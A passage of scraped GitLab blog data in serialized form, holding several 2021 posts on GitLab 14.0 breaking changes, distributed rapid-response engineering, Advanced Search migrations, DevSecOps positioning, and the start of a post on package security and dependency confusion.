`DAST_AUTH_EXCLUDE_URLS` is now `DAST_EXCLUDE_URLS`.\n-  `AUTH_EXCLUDE_URLS` is now `DAST_EXCLUDE_URLS`.\n-  `AUTH_USERNAME` is now `DAST_USERNAME`.\n-  `AUTH_PASSWORD` is now `DAST_PASSWORD`.\n-  `AUTH_USERNAME_FIELD` is now `DAST_USERNAME_FIELD`.\n-  `AUTH_PASSWORD_FIELD` is now `DAST_PASSWORD_FIELD`.\n-  `DAST_ZAP_USE_AJAX_SPIDER` is now `DAST_USE_AJAX_SPIDER`.\n-  `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` is removed, as the feature is being removed.\n\n## Protect\n\n### Web Application Firewall (WAF) removal\n\nGitLab's Web Application Firewall (WAF) was deprecated in GitLab 13.6. GitLab 14.0 removes the WAF on June 22, 2021. GitLab's WAF had limitations inherent in the architectural design that made it difficult to meet the requirements traditionally expected of a WAF. By deprecating and removing the WAF, GitLab can focus on improving other areas in the product to provide more value to users.\n\nIf you currently rely on GitLab's WAF, we recommend you continue to use the free and open source [ModSecurity](https://www.modsecurity.org/) project, which is independent from GitLab. More details are available in the [deprecation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/271276).\n\n### Container Scanning Engine Clair removal\n\nPrior to GitLab 14.0, GitLab used the open-source Clair engine for container scanning. Clair was deprecated in GitLab 13.9, and GitLab 14.0 replaces Clair with Trivy. If you use any GitLab 13.x release, you can continue to use Clair without making any changes to your CI files – however, GitLab will no longer update or maintain that scanning engine.\n\nBeginning in the 14.0 release Trivy becomes the new default scanner and receives regular updates and the latest features. You should review their CI files in advance of the 14.0 release and [follow these instructions](https://docs.gitlab.com/ee/user/application_security/container_scanning/#migrating-from-clair-to-trivy) to ensure your container scanning jobs continue to work. You can provide feedback and get additional details about the change to Trivy on our [open deprecation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/321451).\n\n## Enablement\n\n### Remove old Advanced Search migrations in GitLab 14.0 release\n\n[Advanced Search migrations](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html) is a feature that helps you update your Elasticsearch index in the background when a GitLab version upgrade introduces changes to indexes. Advanced Search migrations add complexity that requires us to support multiple code paths. It's important to reduce this complexity while keeping it safe.\n\nGitLab 14.0 removes all migrations that were added before the GitLab 13.12 release. **Instances Running GitLab 13.11 or under must be upgraded to GitLab 13.12 before upgrading to GitLab 14.0**, otherwise you may need to recreate your Advanced Search index. You can find more information about the process of deleting migrations in our [Elasticsearch development documentation](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html).\n\n## API Changes\n\n### Enforce maximum attachment size on Project API uploads\n\nSome people use the [project API](https://docs.gitlab.com/ee/api/projects.html#upload-a-file) to upload large binaries to link in the Release pages. This API was originally intended only to share attachments in issues or merge requests, and should have been subject to the configured maximum attachment size (10 MB by default). GitLab 14.0 enforces the size limit, and uploads that exceed this limit now fail with a `413 Entity Too Large` error. Files that already uploaded remain downloadable.\n\n### Drop `updated_at` filter from Deployment API\n\nSome users are pulling data from the [`list project deployments`](https://docs.gitlab.com/ee/api/deployments.html#list-project-deployments) API endpoint to populate a custom-built dashboard. There is no way to restrict the API results to display only the latest changes. To overcome this, you must retrieve all records, check them one-by-one, and process only the records updated after the latest `updated_at` value in the last batch retrieved.\n\nGitLab 14.0 changes this API to make this process more efficient and performant:\n\n- `updated_after` is now `finished_after`.\n- `updated_before` is now `finished_before`.\n- Queries specifying the `updated_at` filter must set `order_by` to `updated_at`.\n\n### Limit projects returned in `GET /groups/:id/`\n\nTo improve performance, GitLab 14.0 limits the number of projects returned from the `GET /groups/:id/` API call to 100. You can still retrieve a complete list of projects with the `GET /groups/:id/projects` API call.\n\n### Remove `trace` parameter from `PUT /api/jobs/:id`\n\nGitLab Runner was previously updated to change how it communicates with GitLab. Some internal code is no longer in use, and GitLab 14.0 deprecates this unused code. Make sure your [GitLab Runner version matches your GitLab version](https://docs.gitlab.com/runner/#gitlab-runner-versions) to ensure consistent behavior.\n\n### Deprecate segments from DevOps Adoption API\n\nThe first release of the DevOps Adoption report had a concept of \"segments\". Segments were [quickly removed from the report](https://gitlab.com/groups/gitlab-org/-/epics/5251) because they introduced an additional layer of complexity on top of \"groups\" and \"projects\". Subsequent iterations of the DevOps Adoption report focuses on comparing adoption across groups rather than segments. GitLab 14.0 [removes all references to \"segments\" in the GraphQL API](https://gitlab.com/gitlab-org/gitlab/-/issues/324414) and replaces them with \"groups\".\n\nCover image by [PHOTOGRAPHER Silvia Brazzoduro](https://unsplash.com/photos/YSxcf6C_SEg) on [Unsplash](https://unsplash.com)\n{: .note}\n",[736,774,6962],{"slug":18279,"featured":6,"template":678},"gitlab-moving-to-14-breaking-changes","content:en-us:blog:gitlab-moving-to-14-breaking-changes.yml","Gitlab Moving To 14 Breaking Changes","en-us/blog/gitlab-moving-to-14-breaking-changes.yml","en-us/blog/gitlab-moving-to-14-breaking-changes",{"_path":18285,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18286,"content":18292,"config":18297,"_id":18299,"_type":16,"title":18300,"_source":17,"_file":18301,"_stem":18302,"_extension":20},"/en-us/blog/managing-global-projects-requiring-rapid-response-continuously",{"title":18287,"description":18288,"ogTitle":18287,"ogDescription":18288,"noIndex":6,"ogImage":18289,"ogUrl":18290,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18290,"schema":18291},"How to leverage distributed engineering teams for rapid response","Rapid response issues can be handled in a compressed time frame if distributed engineering teams can work continuously. Here's what we've learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681331/Blog/Hero%20Images/all-remote-world-banner-1920x1080.png","https://about.gitlab.com/blog/managing-global-projects-requiring-rapid-response-continuously","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to leverage distributed engineering teams for rapid response\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Baus\"}],\n        \"datePublished\": \"2021-06-04\",\n      }",{"title":18287,"description":18288,"authors":18293,"heroImage":18289,"date":18275,"body":18295,"category":734,"tags":18296},[18294],"Chris Baus","\n\nI am an [Engineering Manager](https://gitlab.com/chris_baus) working on a distributed engineering team at GitLab. [Our team](/handbook/engineering/development/fulfillment/purchase/) is distributed globally, and we have engineers working in India, Germany, Australia, New Zealand, and the United States. I am [located](https://www.google.com/maps/place/Stateline,+NV/) in the U.S. in Pacific Standard Time (PST). In coordination with [other](/handbook/engineering/development/ops/verify/#verifycontinuous-integration) globally distributed engineering teams, we recently responded to an [abuse issue](/blog/prevent-crypto-mining-abuse/) which was causing disruptions for legitimate GitLab.com users, and required a [rapid response](/handbook/engineering/workflow/#rapid-engineering-response).\n\n## Global distribution as an advantage\n\nMany managers view global team distribution as a constraint (because synchronous communication becomes more difficult), but it is possible to [embrace the constraint](https://basecamp.com/gettingreal/03.4-embrace-constraints) and turn it into an advantage. When teams are globally distributed it is possible for work to continue around-the-clock, uninterrupted, and decrease the overall delivery time of projects. I refer to this as \"continuous development.\"\n\nWhile we don't typically work this way, when problems are pressing, working continuously can be a strategy to advance the delivery time frame. In this case, two engineers from our team worked on the problem [17](https://www.google.com/maps/place/Bellingham,+WA/) [hours](https://www.google.com/maps/place/Melbourne+VIC,+Australia/) apart. This provided some overlap in the afternoon (PST), but for the most part, the engineers were working on the project at different times which allowed work to progress continuously.\n\nIt requires some extra management compared to the typical workflow, but the effort may be worth the investment if time is critical.\n\n## Define clear handoffs\n\nOne risk of multiple engineers working continuously and [asynchronously](https://baus.net/embrace-asynchronous-work/) is duplicating work from lack of clear separation of work or handoffs. If possible, it is best to separate work, so engineers are working in different areas of code, but separating work might not always be feasible or practical. In either case, when an engineer finishes working for the day, they should provide an update describing the work which was completed, any problems impeding progress, and what is left to be done.\n\nIf engineers are working in the same area of code, it should be clearly defined if they are working in the same branch or separate branches. If they are working in the same branch, it might make sense for one engineer to maintain branch and accept merges from other engineers before it merged into the main development branch.\n\n## Agree on interfaces\n\nWhen distributed engineering teams are working on a project, it is critical to define clear and documented interfaces between systems and components. System interfaces should be documented in a centrally maintained location. If there is a need to change the interface, then everyone affected by the change should be notified.\n\nIn retrospect, we lost nearly a day of testing because of confusion about an interface between the frontend and backend of the system. These types of problems tend to be amplified when not all engineers involved in the project are available at the same time, as it may take an entire 24-hour cycle to handle and communicate changes. When a discrepancy is found, the problem should be documented by the engineers currently working and, if possible, a solution proposed.\n\n## Place synchronous communication on management\n\nWhen working concurrently, to help ensure all teams are on the same path, it can be helpful to discuss the project status synchronously. This can be difficult to arrange with distributed engineering teams. On this project, the technical teams met twice weekly for 15-30 minutes. It can be tempting to require team members to work off hours to attend synchronous meetings. I'd recommend fighting this tendency.\n\nIt's the responsibility of a manager to ensure effective communication across teams. During rapid-response actions, it's helpful to keep flexible working hours to synchronize with team members across different time zones. I accept working outside my typical hours (knowing I can [adjust my hours](/company/culture/all-remote/non-linear-workday/) at other times of the day), to communicate the status of my team synchronously. This also requires the manager to have a more detailed technical understanding of the implementation and status than is normally required, so they can speak on behalf of offline team members.\n\nInstead of requiring synchronous meeting attendance, [take good notes](/company/culture/all-remote/meetings/#document-everything-live-yes-everything) and [record the meeting](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A) so team members in other time zones can review the status and decisions from synchronous meetings.\n\n## Trade-offs\n\nIn many ways, engineering is the art of balancing trade-offs. Operating in a continuous, globally-distributed fashion takes more management and cognitive overhead than typical asynchronous workflows, but when time is a priority, it could decrease the release time on critical projects.\n\nOperating continuously may come at cost of other management tasks as compressing time increases the effort required to oversee the project requiring a [rapid response](/handbook/engineering/workflow/#rapid-engineering-response). At the end of the rapid-response issue, a retrospective should be held to determine if the engineering strategy provided the expected results, relative to the increased overhead. My recommendation is to be realistic about costs when planning continuous development even when it provides short-term results.\n\n_Read more on [leading engineering teams](/blog/cadence-is-everything-10x-engineering-organizations-for-10x-engineers/)._\n",[3798,676,1899,2368],{"slug":18298,"featured":6,"template":678},"managing-global-projects-requiring-rapid-response-continuously","content:en-us:blog:managing-global-projects-requiring-rapid-response-continuously.yml","Managing Global Projects Requiring Rapid Response Continuously","en-us/blog/managing-global-projects-requiring-rapid-response-continuously.yml","en-us/blog/managing-global-projects-requiring-rapid-response-continuously",{"_path":18304,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18305,"content":18311,"config":18316,"_id":18318,"_type":16,"title":18319,"_source":17,"_file":18320,"_stem":18321,"_extension":20},"/en-us/blog/advanced-search-data-migrations",{"title":18306,"description":18307,"ogTitle":18306,"ogDescription":18307,"noIndex":6,"ogImage":18308,"ogUrl":18309,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18309,"schema":18310},"GitLab's data migration process for Advanced Search","We needed a more streamlined data migration process for Advanced search. Here's what we did.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682017/Blog/Hero%20Images/advanced-search-migrations.jpg","https://about.gitlab.com/blog/advanced-search-data-migrations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's data migration process for Advanced Search\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitry Gruzd\"}],\n        \"datePublished\": \"2021-06-01\",\n      }",{"title":18306,"description":18307,"authors":18312,"heroImage":18308,"date":18313,"body":18314,"category":734,"tags":18315},[997],"2021-06-01","\n\nFor some time now, GitLab has been working on enabling the Elasticsearch\nintegration on GitLab.com to allow as many GitLab.com users as possible access\nto the [Advanced Global Search](https://docs.gitlab.com/ee/user/search/advanced_search.html)\nfeatures. Last year, after enabling Advanced Search for all licensed customers on\nGitLab.com we were thinking how to simplify the rollout of some Advanced Search\nfeatures that require changing the data in Elasticsearch.\n\n(If you're interested in the lessons we learned on our road to Enabling\nElasticsearch for GitLab.com, you can read [all about it](/blog/elasticsearch-update/).\n\n## The data migration process problem \n\nSometimes we need to change mappings of an index or backfill a field, and\nreindexing everything from scratch or using [Zero downtime reindexing](https://docs.gitlab.com/ee/integration/elasticsearch.html#zero-downtime-reindexing)\nmight seem like an obvious solution. However, this is not a scalable option for\nbig GitLab instances. GitLab.com is the largest known installation of GitLab and\nas such has a lot of projects, code, issues, merge requests and other things that\nneed to be indexed. For example, at the moment our Elasticsearch cluster has\nalmost 1 billion documents in it. It would take many weeks or even months to\nreindex everything and for all that time indexing would need to remain paused, therefore\nsearch results would quickly become outdated.\n\n## Original plan for multi-version support\n\nOriginally, we were planning to introduce multi-version support using an approach\nthat is fully reliant on GitLab to manage both indices, reading from the old one\nand writing to both until the migration is finished. You can read more information at\n[!18254](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18254) and\n[&1769](https://gitlab.com/groups/gitlab-org/-/epics/1769). As of writing this,\nmost of the code for this approach still exists in GitLab in a half-implemented form.\n\nThere were 2 primary concerns with this approach:\n\n1. Reindexing would require the GitLab application to read every single document\nfrom the storage and send it to Elasticsearch again. Doing so\nwould put a big strain on different parts of the application, such as database,\nGitaly, and Sidekiq.\n1. Reindexing everything from GitLab to the cluster again may be very wasteful on\noccasions where you only need to change a small part of the index. For example, if\nwe want to add epics to the index, it is very wasteful to reindex every document\nin the index when we could very quickly just index all the epics. There are many\nsituations where we will be trying to perform some migration that can be done more\nefficiently using a targeted approach (e.g. adding a new field to a document type\nonly requires reindexing all the documents that actually have that field).\n\nFor these reasons we've decided to create a different data migration process.\n\n## Our revised data migration process\n\nWe took inspiration from the [Rails DB migrations](https://guides.rubyonrails.org/active_record_migrations.html).\nWe wanted to apply the best practices from it without having to re-architect what\nthe Rails team has already implemented.\n\nFor example, we've decided that we would have a special directory with time-stamped\nmigration files. We wanted to achieve a strict execution order so that many\nmigrations might be shipped simultaneously. A special background processing worker\nwill be checking this folder on schedule. This is slightly different to rails background migrations where the operator is required to manually run the migration. We decided to make it fully automated and run it in the background to avoid the need for self-managed customers to add extra steps to the migration process. This would have likely made it much more difficult for everyone involved as there are many ways to run GitLab. This extra constraint also forces us to always think of migrations as possibly incomplete at any point in the code which is essential for zero-downtime.\n\nAt first, we wanted to store the migration state in the Postgresql database, but\ndecided against it since this may not be perfect for the situation where a user\nwants to connect a new Elasticsearch cluster to GitLab. It's better to store the\nmigrations themselves in the Elasticsearch cluster itself so they're more likely to be in\nsync with the data.\n\nYou can see your new migration index in your Elasticsearch cluster. It's called\n`gitlab-production-migrations`. GitLab stores a few fields there. We use the\nversion number as the document id. This is an example document:\n\n```\n{\n    \"_id\": \"20210510143200\",\n    \"_source\": {\n        \"completed\": true,\n        \"state\": {\n        },\n        \"started_at\": \"2021-05-12T07:19:08.884Z\",\n        \"completed_at\": \"2021-05-12T07:19:08.884Z\"\n    }\n}\n```\n\nThe state field is used to store data that's required to run batched migrations.\nFor example, for batched migrations we store a slice number and a task id for\ncurrent Elasticsearch reindex operation and we update the state after every run.\n\nThis is how an example migration looks:\n\n```ruby\nclass MigrationName \u003C Elastic::Migration\n  def migrate\n    # Migrate the data here\n  end\n\n  def completed?\n    # Return true if completed, otherwise return false\n  end\nend\n```\n\nThis looks a lot like [Rails DB migrations](https://guides.rubyonrails.org/active_record_migrations.html),\nwhich was our goal from the beginning. The main difference is that it has an additional method to\ncheck if a migration is completed. We've added that method because we need to\nexecute asynchronous tasks quite often and we want to check if it's completed\nlater in a different worker process.\n\n## Migration framework logic\n\nThis is a simple flow chart to demonstrate the high level logic of the new migration framework.\n\n```mermaid\ngraph TD\n    CRON(cron every 30 minutes) --> |executes| WORKER[MigrationWorker]\n    WORKER --> B(an uncompleted migration is found)\n    B --> HALT(it's halted)\n    B --> UN(it's uncompleted)\n    B --> COMP(it's finished)\n    HALT --> WARN(show warning in the admin UI)\n    WARN --> EX(exit)\n    UN --> PREF(migration preflight checks)\n    PREF --> RUN(execute the migration code)\n    COMP --> MARK(mark it as finished)\n    MARK --> EX\n```\n\nAs you can see above, there are multiple different states of a migration. For example,\nthe framework allows it to be halted when it has too many failed attempts. In\nthat case, the warning will be shown in the admin UI with a button for restarting\nthe migration.\n\n![How the warning looks like](https://about.gitlab.com/images/blogimages/advanced_search/halted_warning.png)\n\n## Configuration options\n\nWe've introduced many useful configuration options into the framework, such as:\n\n- `batched!` - Allows the migration to run in batches. If set, the worker will\nre-enqueue itself with a delay which is set using the `throttle_delay` option\ndescribed below. We use this option to reduce the load and ensure that the\nmigration won't time out.\n\n- `throttle_delay` - Sets the wait time in between batch runs. This time should be\nset high enough to allow each migration batch enough time to finish.\n\n- `pause_indexing!` - Pauses indexing while the migration runs. This setting will\nrecord the indexing setting before the migration runs and set it back to that\nvalue when the migration is completed. GitLab only uses this option when\nabsolutely necessary since we attempt to minimize the downtime as much as possible.\n\n- `space_requirements!` - Verifies that enough free space is available in the\ncluster when the migration is running. This setting will halt the migration if the\nstorage required is not available. This option is used to\nprevent situations when your cluster runs out of space when attempting to execute\na migration.\n\nYou can see the up-to-date list of options in this development [documentation section](https://docs.gitlab.com/ee/development/elasticsearch.html#migration-options-supported-by-the-elasticmigrationworker).\n\n## Data migration process results\n\nWe implemented the Advanced Search migration framework in the 13.6 release and\nhave been improving it since. You can see some details in the original issue\n[#234046](https://gitlab.com/gitlab-org/gitlab/-/issues/234046). The only\nrequirement for this new feature is that you should create your index using at\nleast version 13.0. We have that requirement since we're heavily utilizing\naliases, which were introduced in 13.0. As you might know, over the last few\nreleases we've been working on separating different document types into their own\nindices. This migration framework has been a tremendous help for our initiative.\nWe've already completed the migration of issues (in 13.8), comments (in 13.11),\nand merge requests (in 13.12) with a noticeable performance improvement.\n\nSince we've accumulated so many different migrations over the last few releases\nand they require us to support multiple code paths for a long period of time,\nwe've decided to remove older migrations that were added prior to the 13.12\nrelease. You can see some details in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/329952).\nWe plan to continue the same strategy in the future, which is one of the reasons\nwhy you should always upgrade to the latest minor version before migrating to a\nmajor release.\n\nIf you're interested in contributing to features that require Advanced Search\nmigrations, we have a dedicated [documentation section](https://docs.gitlab.com/ee/development/elasticsearch.html#creating-a-new-advanced-search-migration)\nthat explains how to create one and lists all available options for it.\n",[754,774,1444],{"slug":18317,"featured":6,"template":678},"advanced-search-data-migrations","content:en-us:blog:advanced-search-data-migrations.yml","Advanced Search Data Migrations","en-us/blog/advanced-search-data-migrations.yml","en-us/blog/advanced-search-data-migrations",{"_path":18323,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18324,"content":18329,"config":18333,"_id":18335,"_type":16,"title":18336,"_source":17,"_file":18337,"_stem":18338,"_extension":20},"/en-us/blog/gitlab-is-setting-standard-for-devsecops",{"title":18325,"description":18326,"ogTitle":18325,"ogDescription":18326,"noIndex":6,"ogImage":12013,"ogUrl":18327,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18327,"schema":18328},"GitLab is setting the standard for DevSecOps","GitLab has been recognized as a challenger in the 2021 Gartner Magic Quadrant for Application Security Testing","https://about.gitlab.com/blog/gitlab-is-setting-standard-for-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is setting the standard for DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2021-06-01\",\n      }",{"title":18325,"description":18326,"authors":18330,"heroImage":12013,"date":18313,"body":18331,"category":736,"tags":18332},[12479],"\nDebate always swirls over what term is best: [DevSecOps](/topics/devsecops/), SecDevOps, or even to drop “sec” altogether since it should be ubiquitous. At GitLab, we have a strong point of view on this: DevSecOps places security in the middle of the [DevOps](/topics/devops/) effort, which is where it rightly belongs. While transparent and a natural part of the process, it should be top of mind and not buried. Security needs to be everyone’s responsibility. With automation of processes and policies, it can be much easier to arm developers and security pros alike with the information they need in order to meet this responsibility.\n\nOur DevSecOps platform is the end-to-end secure software solution that helps you plan, create, deploy, secure, and manage your modern software and the infrastructure upon which it relies. GitLab provides the visibility and controls necessary to protect the integrity of your software factory and its deliverables.\n\nGitLab has been a catalyst for change when it comes to the evolution of DevSecOps versus traditional application security testing. Let’s look at what this evolution entails:\n\nSecurity testing\n\n*   Old: Security testing is performed by security pros, using their own tools, usually at the end of a development cycle.\n*   New: Security testing is automated within the CI pipeline with findings delivered to the developer while they are still iterating on their code. Findings are limited to new vulnerabilities introduced in this code change making it highly clear and actionable for the developer to correct the security flaws that they created without taking responsibility for the backlog of flaws and technical debt that already existed.\n\nCI and security \n\n*   Old: CI scripts might be used to call security scanners and pull the findings into the CI pipeline. Yet the two tools remain separated. Often elements are missing and integration must be maintained. Licenses of the CI tool and the scanners are separate and can be difficult to manage, especially when they charge by different variables (users, apps, code size).\n*   New: United into a single tool, there is no costly integration to maintain and only a single license to manage. \n\nRemediation\n\n*   Old: Security pros must constantly track remediation status of critical vulnerabilities (risk). The findings are in one tool, but the remediation effort is within the development team putting the two teams in a constant state of friction and inefficient communications. \n*   New: By sharing a single tool, security pros can see the status of remediation for given vulnerabilities right in their dashboard. And, when GitLab issues are used, both teams can collaborate to work together on remediation.\n\nWe are proud of our influence on this evolution and of our progress. We invite you to learn more about the capabilities and benefits of [GitLab security and compliance](https://about.gitlab.com/solutions/security-compliance/).\n\nGitLab has been [recognized as a challenger](/analysts/gartner-ast21/) in the 2021 Gartner Magic Quadrant for Application Security Testing for its ability to execute and completeness of vision. We believe this is a nod to the value of getting scan results into the hands of those who can do the remediation. Gartner opens their Magic Quadrant report by saying, “Modern application design and the continued adoption of DevSecOps are expanding the scope of the AST market. Security and risk management leaders can meet tighter deadlines and test more complex applications by seamlessly integrating and automating AST in the software delivery life cycle.”  We agree.\n\nGitLab is the first to provide many scan types to the developer including SAST, DAST, dependency scanning, container scanning, secrets detection, license  compliance, API fuzzing, and coverage-guided fuzzing. We offer dependency lists and vulnerability management as well. We are regularly replacing many incumbent app sec vendors. We feel that Microsoft probably remains our biggest competitor thanks to their broad licensing agreements even though [our security capabilities are more complete](https://about.gitlab.com/competition/github/).\n\nLast year, [GitLab acquired Peach Tech and Fuzz It](https://about.gitlab.com/press/releases/2020-06-11-gitlab-acquires-peach-tech-and-fuzzit-to-expand-devsecops-offering.html), each offering a different approach to fuzzing. This week, we’re proud to announce another acquisition of security capabilities, this time of Machine Learning technology. We are bringing innovation to a rather tired app sec industry by not only adding value to the development team, but by bringing new scanning methods to meet the demands of modern application architectures. You’ll hear about these and also innovative capabilities from our partners at [GitLab Commit](https://about.gitlab.com/events/commit/), our online user conference, in August.\n\nSince responding to Gartner’s questionnaire (that used GitLab version 13.6), we have had 5 monthly releases with numerous security features. Some of the most significant capabilities added after our Magic Quadrant submission include: \n\n*   [Compliant pipeline configurations](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#compliance-pipeline-configurations) using [Compliance Frameworks](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-frameworks), \n*   [Security Alert Dashboard](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#security-alert-dashboard-for-container-network-policy-alerts) for [container network policies](https://docs.gitlab.com/ee/user/application_security/container_scanning/) along with [on-call schedule management](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#on-call-schedule-management), \n*   [Bulk vulnerability status updates](https://about.gitlab.com/releases/2021/03/22/gitlab-13-10-released/#vulnerability-bulk-status-updates) and other vulnerability management enhancements, \n*   [Admin Mode](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#re-authenticate-for-gitlab-administration-with-admin-mode) to reverify admin credentials,  \n*   [Semgrep ](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#gitlab--semgrep-upgrading-sast-for-the-future)for custom detection rules, \n*   [custom certificates](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#support-for-custom-ca-certs-when-using-the-release-cli), \n*   [email alerts for key expirations](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#ssh-key-expiration-email-notification), \n*   [enforcing SAML for Git activity](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#saml-enforcement-for-git-activity).  \n*   [On-demand DAST](https://docs.gitlab.com/ee/user/application_security/dast/#on-demand-scans), and\n*   A [new browser-based crawler for DAST](https://about.gitlab.com/releases/2021/05/22/gitlab-13-12-released/#new-browser-based-crawler-for-dast-in-open-beta) for coverage greater than the current proxy-based crawler.\n\nIn the last year, we have also added Professional Services capabilities for [security training](https://www.google.com/url?q=https://about.gitlab.com/services/education/security-essentials/&sa=D&source=editors&ust=1622175048426000&usg=AOvVaw3kq5901QTQ8sahHBjQhuNV), [migration](https://www.google.com/url?q=https://about.gitlab.com/services/migration/enterprise/&sa=D&source=editors&ust=1622175048427000&usg=AOvVaw3rRtz8pZmVx__aOMqEdIgH), and [advisory services](https://www.google.com/url?q=https://about.gitlab.com/services/advisory/&sa=D&source=editors&ust=1622175048429000&usg=AOvVaw2wgpPAo02Sx3o8Cg8ng9nd). \n\nApplication security is about to get even more visibility. After the SolarWinds attack and the following gas pipeline attack, the importance of securing the software factory to deliver code safely has become top of mind for anyone dealing with the U.S. Federal Agencies. President Biden’s [Executive Order on Improving the Nation’s Cybersecurity](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) will have far-reaching consequences outside of the government and outside of the United States. GitLab is uniquely positioned to help meet these challenges. This blog on [Securing your Software Supply Chain](https://lnkd.in/gT5QrrU) provides insight into how you can apply common controls that reach beyond simple application security scanning. In [this webinar,](https://www.youtube.com/watch?v=7xd1bBOn9JI) we provide 6 steps to get you started, along with a demo of the relevant features in action.\n\nTrue DevSecOps represents a new era of software security with a much broader scope than traditional App Sec. We believe GitLab has led the market toward this evolution and will continue to do so. \n\nAttribution: Gartner Magic Quadrant for Application Security Testing, Dale Gardner, Mark Horvath, Dionisio Zumerle, 27th May, 2021. \n{: .note .font-small .margin-top40}\n\nGartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, express or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.\n{: .note .font-small}\n",[4103,674],{"slug":18334,"featured":6,"template":678},"gitlab-is-setting-standard-for-devsecops","content:en-us:blog:gitlab-is-setting-standard-for-devsecops.yml","Gitlab Is Setting Standard For Devsecops","en-us/blog/gitlab-is-setting-standard-for-devsecops.yml","en-us/blog/gitlab-is-setting-standard-for-devsecops",{"_path":18340,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18341,"content":18347,"config":18352,"_id":18354,"_type":16,"title":18355,"_source":17,"_file":18356,"_stem":18357,"_extension":20},"/en-us/blog/deep-dive-investigation-of-gitlab-packages",{"title":18342,"description":18343,"ogTitle":18342,"ogDescription":18343,"noIndex":6,"ogImage":18344,"ogUrl":18345,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18345,"schema":18346},"A deep dive into how we investigate and secure GitLab packages","Supply chain attacks aren't new, but that doesn't mean extra vigilance and protection aren't needed. We take a look at how we secure our packages and registries.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682004/Blog/Hero%20Images/gabriel-sollmann-unsplash.jpg","https://about.gitlab.com/blog/deep-dive-investigation-of-gitlab-packages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A deep dive into how we investigate and secure GitLab packages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vitor Meireles De Sousa\"}],\n        \"datePublished\": \"2021-05-27\",\n      }",{"title":18342,"description":18343,"authors":18348,"heroImage":18344,"date":18349,"body":18350,"category":674,"tags":18351},[17014],"2021-05-27","\n\nRecent high-profile supply chain and dependency confusion attacks have been a cross-industry wake-up call on the impact breadth and depth these value-chain or third-party attacks can have on customers, business operations, and brand reputation.\nSecurity teams know supply chain attacks aren't new – they've been around for decades. But, what may have once been considered mainly nation-state threats have now increased in prevalence and sophistication. Malicious actors are now setting their sights on widely used technology like software applications and code repositories to compromise unsuspecting suppliers.\n\n## So how do we protect our customers and product?\n\nWe're doing deep dives and making improvements across our product, processes, and practices as well as the controls we have in place for our partner and third-party vendor ecosystem to fortify the security of our supply chain. This blog post details our early steps to ensure packages and registries operate the way we expect them to and are continually monitored and secured.\n\nBack in December of 2020, we talked about the work our [Security Research](/handbook/security/#security-research) team is doing to identify malicious packages through the development of a [tool called Package Hunter](/blog/how-we-made-gitlab-more-secure-in-twenty-twenty/). Package Hunter uses dynamic behavior analysis to identify malicious packages that try to exfiltrate sensitive data or run unintended code. It's currently running in our internal pipelines at GitLab, providing our code reviewers with valuable information when reviewing dependency updates. We currently plan to open source Package Hunter in the near future (watch this space!) and integrate it with [GitLab CI](/topics/ci-cd/), so that you can run it in your own pipelines. By making Package Hunter available to the wider community, we hope to put users in a position to proactively detect unexpected dependency behavior, such as the behavior exhibited in the recent Dependency Confusion attacks, and contribute to the security of CI environments.\n\n## A look at GitLab package managers\n\nGitLab has an [open core](/company/stewardship/) business model and is proud to ship open and source-available source code which has been built in part by members of the GitLab community.\n\nTo help our customers in their development process, GitLab offers several package managers, but we mainly use three programming languages:\n\n* Ruby\n* Javascript\n* Go\n\nWe also provide package registries for different types of packages managers, the following being the most popular:\n\n* Composer\n* Conan\n* Go\n* Maven\n* Npm\n* NuGet\n* Pypi\n\nAs well as a container registry (to store Docker images) and a storage proxy for your frequently-used Docker images.\n\n### How dependency confusion happens\n\nAs we saw in the recent [high-profile novel supply chain attacks](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), dependency confusion attacks are a logic flaw in the default way that software development tools pull in third-party packages from public and private repositories. Malicious actors can exploit this issue and \"trick\" an environment into pulling in a malicious package instead of the intended custom package.\n\nFor a dependency confusion to happen, there are some conditions that need to be met, like:\n\n* The existence of a private package that has 